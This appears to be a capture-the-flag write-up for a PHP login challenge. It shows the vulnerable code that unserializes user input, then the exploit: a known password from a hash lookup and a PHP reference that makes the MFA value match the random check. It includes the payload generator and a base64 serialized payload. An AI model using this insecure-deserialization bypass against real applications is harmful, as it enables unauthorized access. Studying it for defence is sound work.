![alt text](1.png "Chall")

The challenge is a web challenge where the source code is known.

![alt text](2.png "Chall")

The website is a login form where you need to supply the username, password
and the MFA token to get the flag.

This is the source code of the `index.php` file. The interesting part of this
is that it takes user input and serializes it and supplies it to the User
class.

```jsx  
verify())  
{  
$notification->type = 'success';  
$notification->text = 'Congratulations, your flag is: ' .
file_get_contents('/flag.txt');  
}  
else  
{  
throw new InvalidArgumentException('Invalid credentials or MFA token value');  
}  
}  
catch (Exception $e)  
{  
$notification->type = 'danger';  
$notification->text = $e->getMessage();  
}  
}

include 'template/home.html';  
```

Checking the User.php file we see that we need to bypass three checks.

\- Username check  
\- Password check  
\- MFA check.

```jsx  
userData = unserialize($loginAttempt);  
if (!$this->userData)  
throw new InvalidArgumentException('Unable to reconstruct user data');  
}

private function verifyUsername()  
{  
return $this->userData->username === 'D0loresH4ze';  
}

private function verifyPassword()  
{  
return password_verify($this->userData->password,
'$2y$07$BCryptRequires22Chrcte/VlQH0piJtjXl.0t1XkA8pw9dMXTpOq');  
}

private function verifyMFA()  
{  
$this->userData->_correctValue = random_int(1e10, 1e11 - 1);  
return (int)$this->userData->mfa === $this->userData->_correctValue;  
}  
  
public function verify()  
{  
if (!$this->verifyUsername())  
throw new InvalidArgumentException('Invalid username');

if (!$this->verifyPassword())  
throw new InvalidArgumentException('Invalid password');

if (!$this->verifyMFA())  
throw new InvalidArgumentException('Invalid MFA token value');

return true;  
}

}  
```

The first check is easy, set the username to `D0loresH4ze`.

A quick google search of the hash tells us that the password is
`rasmuslerdorf`.

The third check is the MFA which is a bit harder to bypass.

```jsx  
$this->userData->_correctValue = random_int(1e10, 1e11 - 1);  
return (int)$this->userData->mfa === $this->userData->_correctValue;  
```

We control both values, `$this->userData->_correctValue` and
`$this->userData->mfa`. Even if we control the `_correctValue`, the value is
overwritten by a random number before the check.

Also the code is using `===` and a strict type cast to int for the `mfa`. This
means type juggling is out of the equation..

How can we bypass the check? We can use a object reference to automatically
set the mfa value based on the correctValue. This is done using the following
syntax in PHP

```jsx  
$user->mfa =& $user->_correctValue;  
```

The final code to generate the payload is:

```jsx  
class User  
{  
public $username = "D0loresH4ze";  
public $password = "rasmuslerdorf";  
public $mfa;  
public $_correctValue;  
}

$user = new User();  
$user->mfa =& $user->_correctValue;

echo base64_encode(serialize($user));  
```

```jsx  
Tzo0OiJVc2VyIjo0OntzOjg6InVzZXJuYW1lIjtzOjExOiJEMGxvcmVzSDR6ZSI7czo4OiJwYXNzd29yZCI7czoxMzoicmFzbXVzbGVyZG9yZiI7czozOiJtZmEiO2k6MTtzOjEzOiJfY29ycmVjdFZhbHVlIjtSOjQ7fQ==  
```

![alt text](3.png "Chall")  

Original writeup (https://github.com/flawwan/CTF-
Writeups/blob/master/Midnightsun2021/quals/writeup.md).